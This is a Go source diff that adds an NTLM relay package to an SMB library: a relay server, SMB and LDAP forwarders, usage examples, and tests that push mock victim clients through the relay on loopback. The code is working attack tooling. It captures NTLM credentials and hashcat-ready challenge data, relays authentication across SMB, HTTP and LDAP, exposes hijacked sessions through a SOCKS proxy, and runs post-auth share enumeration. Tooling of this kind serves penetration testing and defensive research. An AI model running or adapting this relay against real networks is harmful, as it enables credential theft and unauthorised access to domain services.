if status := driveHTTPNTLMVictim(t, relayAddr, user, password, domain); status != 401 {
t.Errorf("victim final status = %d, want 401 (capture-and-drop)", status)
}
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("cross-protocol HTTP→SMB never pooled (have %d)", len(rs.Snapshot()))
}
snap := rs.Snapshot()[0]
if snap.Target != upAddr.String() {
t.Errorf("pool entry target = %q, want %q", snap.Target, upAddr.String())
}
credsMu.Lock()
defer credsMu.Unlock()
if len(creds) == 0 {
t.Fatalf("OnCredentialCaptured never fired")
}
if creds[0].Username != user || creds[0].Domain != domain {
t.Errorf("cred = %s\\%s, want %s\\%s", creds[0].Domain, creds[0].Username, domain, user)
}
}
// TestCrossProtocolSMBInboundToHTTPUpstream verifies that an SMB-inbound NTLM
// authentication can be relayed onto an HTTP upstream. The relay's SMB
// listener is the inbound side, a mock NTLM HTTP server is the upstream, and
// the unified Targets list contains a single http:// entry — the SMB listener
// must successfully dispatch onto an HTTP forwarder.
func TestCrossProtocolSMBInboundToHTTPUpstream(t *testing.T) {
const (
user = "bob"
password = "Hunter2!"
domain = "WORKGROUP"
)
up := newNtlmHTTPUpstream(t, user, domain, []byte("relay ok"))
defer up.Stop()
var (
credsMu sync.Mutex
creds []*relay.Credential
)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
Targets: []string{"http://" + up.Addr()},
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
credsMu.Lock()
creds = append(creds, c)
credsMu.Unlock()
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
// Drive an inbound SMB auth — the victim is an ordinary go-smb client.
// capture-and-drop returns an error to the client; we ignore it.
bait := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(bait)
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("cross-protocol SMB→HTTP never pooled (have %d)", len(rs.Snapshot()))
}
snap := rs.Snapshot()[0]
if snap.Target != up.Addr() {
t.Errorf("pool entry target = %q, want %q", snap.Target, up.Addr())
}
if up.authedConns.Load() == 0 {
t.Errorf("HTTP upstream never saw a successful AUTHENTICATE")
}
credsMu.Lock()
defer credsMu.Unlock()
if len(creds) == 0 {
t.Fatalf("OnCredentialCaptured never fired")
}
if creds[0].Username != user || creds[0].Domain != domain {
t.Errorf("cred = %s\\%s, want %s\\%s", creds[0].Domain, creds[0].Username, domain, user)
}
}
+74
View File
@@ -0,0 +1,74 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
// Package relay provides NTLMSSP relay functionality on top of the
// smb/server SMB listener and the smb/client. It currently exposes:
//
// - RelayClient: a one-shot listener that accepts a single inbound auth,
// forwards it to a configured target, and returns the resulting
// authenticated *smb.Connection. Replacement for the legacy
// smb.NewRelayConnection.
// - RelayServer: a long-running multi-target listener with a pooled
// session cache, optional SOCKS5 proxy that exposes the pool to local
// tools, and post-auth actions. Inbound SMB and HTTP listeners share one
// unified ServerConfig.Targets list (scheme-prefixed: smb://, http://,
// https://, ldap://, ldaps://) — any inbound listener can route to any
// upstream protocol, so HTTP-to-SMB and SMB-to-HTTP relay both work
// out of the box.
// - SMBPassthrough / HTTPPassthrough / LDAPPassthrough: SOCKS-fronted
// raw-PDU forwarders for pooled upstreams.
//
// # Configuration knobs
//
// Most of ServerConfig is read once at Start(). Three behaviors are
// mutable on a running server:
//
// - StripMechListMIC — toggle via [RelayServer.SetStripMechListMIC]
// - HealthCheckOnSelect — toggle via [RelayServer.SetHealthCheckOnSelect]
// - SelectTarget — replace via [RelayServer.SetSelectTarget]
//
// Other fields take their Start()-time value.
//
// # Captured credentials
//
// Each successful inbound auth produces a [CapturedAuth] record with the
// upstream relay status (CaptureStatusRelayed, CaptureStatusUpstreamRejected,
// CaptureStatusRelayFailed). Records flow through two channels:
//
// - [ServerConfig.OnCapture] fires once per finalized record — ideal for
// streaming captures to a file or external system.
// - [RelayServer.CapturedCredentials] returns a snapshot of an in-memory
// FIFO ring buffer (sized via ServerConfig.CaptureBufferSize, default
// 1024) for ad-hoc inspection.
//
// # Cross-protocol caveat
//
// When relaying TYPE_2 (CHALLENGE) from one transport to a victim on
// another, the TargetName/TargetInfo AV pairs reflect the upstream
// service. EPA-strict clients may abort. Strip-mic (via
// ServerConfig.StripMechListMIC) opts out of MechListMIC pass-through for
// upstreams that re-derive the MIC themselves.
package relay
import "github.com/jfjallid/golog"
var log = golog.Get("github.com/jfjallid/go-smb/relay").SetDisplayName("relay")
+78
View File
@@ -0,0 +1,78 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay_test
import (
"context"
"fmt"
"time"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb"
)
// ExampleRelayServer shows the minimum configuration: one SMB target, an
// SMB inbound listener on the default port, and an OnCapture hook that
// receives one finalized record per inbound auth — no separate
// OnCredentialCaptured/OnRelaySuccess correlation needed.
//
// Bind to ":0" (or pass -listen) for tests/labs to avoid the privileged
// port :445.
func ExampleRelayServer() {
rs := &relay.RelayServer{
Config: relay.ServerConfig{
Targets: []string{"smb://10.0.0.5"},
ListenAddr: ":0",
OnCapture: func(c relay.CapturedAuth) {
fmt.Printf("captured %s\\%s status=%s\n", c.Domain, c.Username, c.Status)
},
},
}
if err := rs.Start(); err != nil {
// In a real program: handle the error; we just exit the example.
return
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
// In a real workflow you'd block here (signal handler, REPL) while
// captures stream in. Example exits immediately.
}
// ExampleRelayServer_socks demonstrates exposing the captured pool through
// a local SOCKS5 proxy. Tools that dial through 127.0.0.1:1080 piggyback
// the corresponding pooled SMB/HTTP/LDAP session.
func ExampleRelayServer_socks() {
rs := &relay.RelayServer{
Config: relay.ServerConfig{
Targets: []string{"smb://dc01"},
ListenAddr: ":0",
SocksAddr: "127.0.0.1:0",
},
}
_ = rs.Start
_ = rs.Shutdown
}
// ExampleRelayServer_postAuth runs an EnumShares action against each
// upstream session immediately after a successful relay.
func ExampleRelayServer_postAuth() {
rs := &relay.RelayServer{
Config: relay.ServerConfig{
Targets: []string{"smb://dc01"},
ListenAddr: ":0",
PostAuthActions: []relay.PostAuthAction{
relay.EnumSharesAction{},
},
OnRelaySuccess: func(target string, _ *smb.Connection, cred *relay.Credential) {
fmt.Println("relayed to", target, "as", cred.Username)
},
},
}
_ = rs
}
+260
View File
@@ -0,0 +1,260 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay_test
import (
"context"
"io"
"net"
"os"
"path/filepath"
"testing"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
"github.com/jfjallid/go-smb/smb/server/memvfs"
"github.com/jfjallid/go-smb/spnego"
)
// TestFakeServerRoundTrip stands up an upstream SMB server, points a
// RelayServer at it with FakeServer enabled against a temp directory, and
// drives a victim SMB client through the relay. After the upstream relay
// succeeds the relay must answer the victim with StatusOk + SessionFlagIsGuest
// instead of the capture-and-drop StatusLogonFailure; the victim then
// TreeConnects to the configured fake share, writes a file, reads it back,
// and the on-disk root reflects the write.
func TestFakeServerRoundTrip(t *testing.T) {
const (
user = "victim"
password = "P@ssw0rd!"
domain = "WORKGROUP"
upShare = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(upShare, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
fakeRoot := t.TempDir()
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upL.Addr().String()},
FakeServer: &relay.FakeServerOptions{
ShareName: "loot",
Root: fakeRoot,
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
opts := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
conn, err := smb.NewConnection(opts)
if err != nil {
t.Fatalf("victim NewConnection: %v", err)
}
defer conn.Close()
if !conn.IsGuestSession() {
t.Errorf("expected guest session flag on victim connection, got false")
}
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("upstream session never pooled (have %d)", len(rs.Snapshot()))
}
if err := conn.TreeConnect("loot"); err != nil {
t.Fatalf("victim TreeConnect %q: %v", "loot", err)
}
defer conn.TreeDisconnect("loot")
body := []byte("planted by victim via fake server\n")
off := 0
if err := conn.PutFile("loot", "drop.txt", 0, func(buf []byte) (int, error) {
if off >= len(body) {
return 0, io.EOF
}
n := copy(buf, body[off:])
off += n
return n, nil
}); err != nil {
t.Fatalf("victim PutFile: %v", err)
}
var got []byte
if err := conn.RetrieveFile("loot", "drop.txt", 0, func(b []byte) (int, error) {
got = append(got, b...)
return len(b), nil
}); err != nil {
t.Fatalf("victim RetrieveFile: %v", err)
}
if string(got) != string(body) {
t.Errorf("RetrieveFile body=%q want %q", got, body)
}
// The file must exist on disk at the configured root.
onDisk, err := os.ReadFile(filepath.Join(fakeRoot, "drop.txt"))
if err != nil {
t.Fatalf("read on-disk drop.txt: %v", err)
}
if string(onDisk) != string(body) {
t.Errorf("on-disk drop.txt=%q want %q", onDisk, body)
}
}
// TestFakeServerReadOnly verifies that -fake-server-read-only=true blocks
// writes (the victim's TreeConnect still succeeds, but PutFile fails with
// access denied).
func TestFakeServerReadOnly(t *testing.T) {
const (
user = "victim"
password = "P@ssw0rd!"
domain = "WORKGROUP"
upShare = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(upShare, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
fakeRoot := t.TempDir()
// Pre-seed a readable file so we can exercise read access on the share.
if err := os.WriteFile(filepath.Join(fakeRoot, "seed.txt"), []byte("seeded"), 0o644); err != nil {
t.Fatalf("seed file: %v", err)
}
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upL.Addr().String()},
FakeServer: &relay.FakeServerOptions{
ShareName: "loot",
Root: fakeRoot,
ReadOnly: true,
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
opts := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
conn, err := smb.NewConnection(opts)
if err != nil {
t.Fatalf("victim NewConnection: %v", err)
}
defer conn.Close()
if err := conn.TreeConnect("loot"); err != nil {
t.Fatalf("victim TreeConnect: %v", err)
}
defer conn.TreeDisconnect("loot")
// Read the seed file: must succeed.
var got []byte
if err := conn.RetrieveFile("loot", "seed.txt", 0, func(b []byte) (int, error) {
got = append(got, b...)
return len(b), nil
}); err != nil {
t.Fatalf("victim RetrieveFile seed.txt: %v", err)
}
if string(got) != "seeded" {
t.Errorf("seed.txt body=%q want %q", got, "seeded")
}
// Write attempt: must fail. filevfs.ReadOnly returns StatusAccessDenied
// on Create with write intent, which smb.PutFile surfaces as an error.
body := []byte("should not land")
off := 0
err = conn.PutFile("loot", "nope.txt", 0, func(buf []byte) (int, error) {
if off >= len(body) {
return 0, io.EOF
}
n := copy(buf, body[off:])
off += n
return n, nil
})
if err == nil {
t.Errorf("PutFile on read-only fake share unexpectedly succeeded")
}
if _, statErr := os.Stat(filepath.Join(fakeRoot, "nope.txt")); statErr == nil {
t.Errorf("read-only fake share leaked write to disk at nope.txt")
}
}
+173
View File
@@ -0,0 +1,173 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"fmt"
"net"
"strconv"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/encoder"
"github.com/jfjallid/go-smb/smb/server"
)
// smbForwarder drives an upstream NTLMSSP exchange over an SMB transport on
// behalf of a relayed inbound auth. One forwarder is used per inbound auth
// session — it owns the upstream *smb.Connection from Negotiate (leg 1)
// until either Take transfers ownership or Close tears it down.
//
// SPNEGO wrap/unwrap is handled by the listener; the forwarder's interface
// boundary carries raw NTLMSSP. Leg 2 is re-wrapped internally because the
// upstream client API (SendSessionSetup2WithBlob) requires SPNEGO bytes.
type smbForwarder struct {
target Target
opts smb.Options
logger server.Logger
upstream *smb.Connection // populated in Negotiate; consumed in Take or Close
serverChallenge [8]byte // captured from the upstream's NTLMSSP CHALLENGE
}
// newSMBForwarder constructs an SMB forwarder targeting the supplied
// upstream. opts is shallow-copied; relay-friendly defaults are forced on.
func newSMBForwarder(t Target, opts smb.Options, logger server.Logger) (*smbForwarder, error) {
if t.Protocol != ProtoSMB {
return nil, fmt.Errorf("newSMBForwarder called with non-SMB target %s", t.Raw)
}
host, portStr, err := net.SplitHostPort(t.Host)
if err != nil {
return nil, fmt.Errorf("parse target %q: %w", t.Host, err)
}
port, err := strconv.Atoi(portStr)
if err != nil || port < 1 || port > 65535 {
return nil, fmt.Errorf("parse target %q: invalid port %q", t.Host, portStr)
}
if opts.Host == "" {
opts.Host = host
}
if opts.Port == 0 {
opts.Port = port
}
// Relay can't sign or encrypt — the per-message keys live on the inbound
// (client-side) session and we never see them. Force these off even if
// the caller forgot.
opts.ManualLogin = true
opts.ForceSMB2 = true
opts.DisableSigning = true
opts.DisableEncryption = true
return &smbForwarder{target: t, opts: opts, logger: logger}, nil
}
// Target returns the upstream target this forwarder is bound to.
func (f *smbForwarder) Target() Target { return f.target }
// Negotiate forwards a raw NTLMSSP NEGOTIATE token to the upstream and
// returns the upstream's raw NTLMSSP CHALLENGE. SPNEGO wrap/unwrap is the
// listener's responsibility.
func (f *smbForwarder) Negotiate(neg []byte) ([]byte, error) {
if f.upstream != nil {
return nil, fmt.Errorf("Negotiate called twice")
}
if len(neg) < 8 || string(neg[:7]) != "NTLMSSP" {
return nil, fmt.Errorf("Negotiate: not an NTLMSSP message")
}
up, err := smb.NewConnection(f.opts)
if err != nil {
return nil, fmt.Errorf("dial %s: %w", f.target.Host, err)
}
respToken, err := up.SendSessionSetup1WithToken(neg)
if err != nil {
up.Close()
return nil, fmt.Errorf("upstream SessionSetup1: %w", err)
}
f.upstream = up
// Best-effort parse of the upstream CHALLENGE — needed so the captured
// Credential.ServerChallenge / Hashcat string identifies the actual
// challenge the client signed against.
chall := ntlmssp.NewChallenge()
if err := encoder.Unmarshal(respToken, &chall); err == nil {
var b [8]byte
for i := 0; i < 8; i++ {
b[i] = byte(chall.ServerChallenge >> (8 * i))
}
f.serverChallenge = b
} else if f.logger != nil {
f.logger.Debugf("parse upstream CHALLENGE: %v", err)
}
return respToken, nil
}
// Authenticate forwards a raw NTLMSSP AUTHENTICATE token plus an optional
// MechListMIC to the upstream and returns the captured Credential and the
// upstream NT status. The forwarder re-wraps the raw token into a SPNEGO
// NegTokenResp internally because the upstream client API requires it; this
// keeps the relay listener protocol-agnostic.
//
// remote is the inbound client address used for credential attribution.
func (f *smbForwarder) Authenticate(remote net.Addr, auth, mic []byte) (*Credential, uint32, error) {
if f.upstream == nil {
return nil, 0, fmt.Errorf("Authenticate without prior Negotiate")
}
if len(auth) < 8 || string(auth[:7]) != "NTLMSSP" {
return nil, 0, fmt.Errorf("Authenticate: not an NTLMSSP message")
}
var parsed ntlmssp.Authenticate
if err := encoder.Unmarshal(auth, &parsed); err != nil {
return nil, 0, fmt.Errorf("decode NTLMSSP Authenticate: %w", err)
}
cred := buildCredentialFromAuth(&parsed, f.serverChallenge, remote)
blob, err := wrapNegRespAuth(auth, mic)
if err != nil {
return cred, 0, fmt.Errorf("wrap upstream NegTokenResp: %w", err)
}
upstreamStatus, err := f.upstream.SendSessionSetup2WithBlob(blob)
if err != nil {
return cred, 0, fmt.Errorf("upstream SessionSetup2: %w", err)
}
return cred, upstreamStatus, nil
}
// Take returns the upstream Connection and zeroes the field. Close is a no-op
// afterwards.
func (f *smbForwarder) Take() *smb.Connection {
up := f.upstream
f.upstream = nil
return up
}
// Close tears down the upstream connection if still owned by the forwarder.
// Idempotent.
func (f *smbForwarder) Close() {
if f.upstream == nil {
return
}
f.upstream.Close()
f.upstream = nil
}
+581
View File
@@ -0,0 +1,581 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"crypto/tls"
"encoding/binary"
"fmt"
"net"
"sync"
"time"
ber "github.com/go-asn1-ber/asn1-ber"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/encoder"
"github.com/jfjallid/go-smb/smb/server"
)
// LDAP protocol op tags (BER application class). Only the values used in this
// file are listed; the passthrough adds others as needed.
const (
ldapAppBindRequest ber.Tag = 0 // [APPLICATION 0]
ldapAppBindResponse ber.Tag = 1 // [APPLICATION 1]
ldapAppExtendedRequest ber.Tag = 23 // [APPLICATION 23]
ldapAppExtendedResponse ber.Tag = 24 // [APPLICATION 24]
)
// LDAP result codes.
const (
ldapResultSuccess = 0
ldapResultSaslBindInProgress = 14
)
// startTLSOID is the OID for the LDAP StartTLS Extended Request (RFC 4511 §4.14.1).
const startTLSOID = "1.3.6.1.4.1.1466.20037"
// NTLM bind auth choice tags (within BindRequest). These match the LDAP
// sicily extension's [CONTEXT 10] / [CONTEXT 11] primitive tags. We alias the
// matching ber.TagEnumerated/TagEmbeddedPDV constants because the BER library
// only auto-writes the raw byte payload under ClassContext when the tag value
// is 10 or 11 — the same convention goldap follows.
const (
ldapAuthNTLMNegotiate = ber.TagEnumerated // 10
ldapAuthNTLMAuthenticate = ber.TagEmbeddedPDV // 11
)
// ldapUpstream wraps the raw TCP/TLS socket on which an NTLM bind has been
// completed. Ownership of the socket is exclusive — the bind path uses it
// directly (no goldap.Conn wrapper) so it can be handed off to
// LDAPPassthrough after success.
type ldapUpstream struct {
Target Target
mu sync.Mutex
conn net.Conn
closed bool
// nextMessageID tracks LDAP MessageID allocation on this socket. The bind
// used IDs 1 and 2; downstream passthrough allocations start at 3.
idMu sync.Mutex
nextMessageID int64
}
// Close tears down the LDAP socket. Idempotent.
func (u *ldapUpstream) Close() error {
u.mu.Lock()
defer u.mu.Unlock()
if u.closed {
return nil
}
u.closed = true
if u.conn != nil {
return u.conn.Close()
}
return nil
}
// IsClosed reports whether Close has been called.
func (u *ldapUpstream) IsClosed() bool {
u.mu.Lock()
defer u.mu.Unlock()
return u.closed
}
// Conn returns the bound raw socket for callers that hold the upstream.
// Returns nil after Close.
func (u *ldapUpstream) Conn() net.Conn {
u.mu.Lock()
defer u.mu.Unlock()
if u.closed {
return nil
}
return u.conn
}
// allocMessageID returns the next free LDAP MessageID on this socket.
func (u *ldapUpstream) allocMessageID() int64 {
u.idMu.Lock()
defer u.idMu.Unlock()
u.nextMessageID++
return u.nextMessageID
}
// ldapForwarder drives an upstream NTLMSSP bind over LDAP/LDAPS on behalf of a
// relayed inbound auth. It speaks BER directly on the upstream socket so the
// raw connection survives the bind and can be passed to LDAPPassthrough for
// SOCKS-side reuse.
type ldapForwarder struct {
target Target
timeout time.Duration
tlsConf *tls.Config
disableStartTLS bool
logger server.Logger
upstream *ldapUpstream
serverChallenge [8]byte
}
func newLDAPForwarder(t Target, timeout time.Duration, tlsConfig *tls.Config, disableStartTLS bool, logger server.Logger) *ldapForwarder {
if timeout <= 0 {
timeout = 10 * time.Second
}
return &ldapForwarder{
target: t,
timeout: timeout,
tlsConf: tlsConfig,
disableStartTLS: disableStartTLS,
logger: logger,
}
}
// Target satisfies the Forwarder interface.
func (f *ldapForwarder) Target() Target { return f.target }
// Negotiate dials the upstream LDAP server, sends BindRequest leg 1 carrying
// the inbound's NTLMSSP NEGOTIATE token, and returns the upstream's NTLMSSP
// CHALLENGE token. AD's sicily NTLM bind packs the CHALLENGE into matchedDN
// (BindResponse.Children[1]) rather than the standard serverSaslCreds
// [CONTEXT 7] slot; the parser checks both. If neither location holds a
// CHALLENGE the upstream treated the bind as something other than sicily NTLM
// — typically falling through to an anonymous success on DCs that allow
// unauthenticated binds — and the relay refuses, since the user expects an
// authenticated relay outcome.
func (f *ldapForwarder) Negotiate(negotiate []byte) ([]byte, error) {
if f.upstream != nil {
return nil, fmt.Errorf("Negotiate called twice")
}
if len(negotiate) < 8 || string(negotiate[:7]) != "NTLMSSP" {
return nil, fmt.Errorf("Negotiate: not an NTLMSSP message")
}
// ntlmrelayx-style early refusal. If the inbound victim's NTLM client
// requested SIGN/SEAL/ALWAYS_SIGN, the bind will succeed for plain ldap
// but every post-bind LDAP message gets dropped by AD on the upstream side
// because the relay has no way to sign without the victim's session keys.
// Abort before dialing the upstream so no doomed session lands in the pool.
// The surrounding listener will surface the error via OnRelayFailure and
// send the inbound client a logon failure.
// For LDAPS connections, the authentication will fail because
// signing/sealing is not allowed over TLS.
if inboundRequestsSigning(negotiate) {
return nil, fmt.Errorf("the client requested signing — relaying to LDAP will not work " +
"(this usually happens when relaying from SMB to LDAP)")
}
up, err := f.dialUpstream()
if err != nil {
return nil, err
}
// Leg 1: send BindRequest{ auth=[CONTEXT 10] negotiate }. The MessageID is
// allocated via allocMessageID so a preceding StartTLS exchange (when used)
// doesn't collide.
//
// The NEGOTIATE is forwarded verbatim: any modification (e.g. stripping
// SIGN/SEAL flags to avoid post-bind signing) invalidates the MIC that
// the victim computes over NEGOTIATE+CHALLENGE+AUTHENTICATE, and modern
// AD strictly rejects bad MICs.
if err := up.writeLDAPMessage(up.allocMessageID(), encodeBindRequest(ldapAuthNTLMNegotiate, negotiate)); err != nil {
up.Close()
return nil, fmt.Errorf("write BindRequest leg 1: %w", err)
}
resp, err := up.readLDAPMessage()
if err != nil {
up.Close()
return nil, fmt.Errorf("read BindResponse leg 1: %w", err)
}
serverSaslCreds, err := parseBindNegotiateResponse(resp)
if err != nil {
up.Close()
return nil, fmt.Errorf("%w", err)
}
// Capture the 8-byte ServerChallenge from the NTLMSSP CHALLENGE for
// credential attribution. Failure is non-fatal.
parsed := ntlmssp.NewChallenge()
if err := encoder.Unmarshal(serverSaslCreds, &parsed); err == nil {
var b [8]byte
for i := 0; i < 8; i++ {
b[i] = byte(parsed.ServerChallenge >> (8 * i))
}
f.serverChallenge = b
} else if f.logger != nil {
f.logger.Debugf("decode upstream CHALLENGE: %v", err)
}
f.upstream = up
return serverSaslCreds, nil
}
// Authenticate forwards the inbound's raw NTLMSSP AUTHENTICATE token to the
// upstream as BindRequest leg 2 and returns the captured Credential plus an
// NT-style status. mic is ignored — LDAP NTLM bind carries no SPNEGO MIC.
func (f *ldapForwarder) Authenticate(remote net.Addr, authenticate, mic []byte) (*Credential, uint32, error) {
_ = mic
if f.upstream == nil {
return nil, 0, fmt.Errorf("Authenticate without prior Negotiate")
}
if len(authenticate) < 8 || string(authenticate[:7]) != "NTLMSSP" {
return nil, 0, fmt.Errorf("Authenticate: not an NTLMSSP message")
}
var auth ntlmssp.Authenticate
if err := encoder.Unmarshal(authenticate, &auth); err != nil {
return nil, 0, fmt.Errorf("decode AUTHENTICATE: %w", err)
}
cred := buildCredentialFromAuth(&auth, f.serverChallenge, remote)
if err := f.upstream.writeLDAPMessage(f.upstream.allocMessageID(), encodeBindRequest(ldapAuthNTLMAuthenticate, authenticate)); err != nil {
return cred, 0, fmt.Errorf("write BindRequest leg 2: %w", err)
}
resp, err := f.upstream.readLDAPMessage()
if err != nil {
return cred, 0, fmt.Errorf("read BindResponse leg 2: %w", err)
}
resultCode, matchedDN, diagnostic, err := parseBindResultCode(resp)
if err != nil {
return cred, 0, fmt.Errorf("parse BindResponse leg 2: %w", err)
}
if resultCode != ldapResultSuccess {
return cred, smb.StatusLogonFailure, formatBindFailure(resultCode, matchedDN, diagnostic)
}
return cred, smb.StatusOk, nil
}
// formatBindFailure produces a human-readable error describing why the LDAP
// server rejected a bind. AD encodes the WIN32 substatus inside
// diagnosticMessage as `... data NNN, vXXXX` — surfacing that string lets the
// caller distinguish channel binding (data 80090346), wrong creds (data 52e),
// disabled account (data 533), expired pw (data 532), etc.
func formatBindFailure(resultCode int, matchedDN, diagnostic string) error {
if diagnostic == "" && matchedDN == "" {
return fmt.Errorf("LDAP bind rejected (resultCode=%d)", resultCode)
}
parts := fmt.Sprintf("resultCode=%d", resultCode)
if matchedDN != "" {
parts += fmt.Sprintf(" matchedDN=%q", matchedDN)
}
if diagnostic != "" {
parts += fmt.Sprintf(" diagnosticMessage=%q", diagnostic)
}
return fmt.Errorf("LDAP bind rejected (%s)", parts)
}
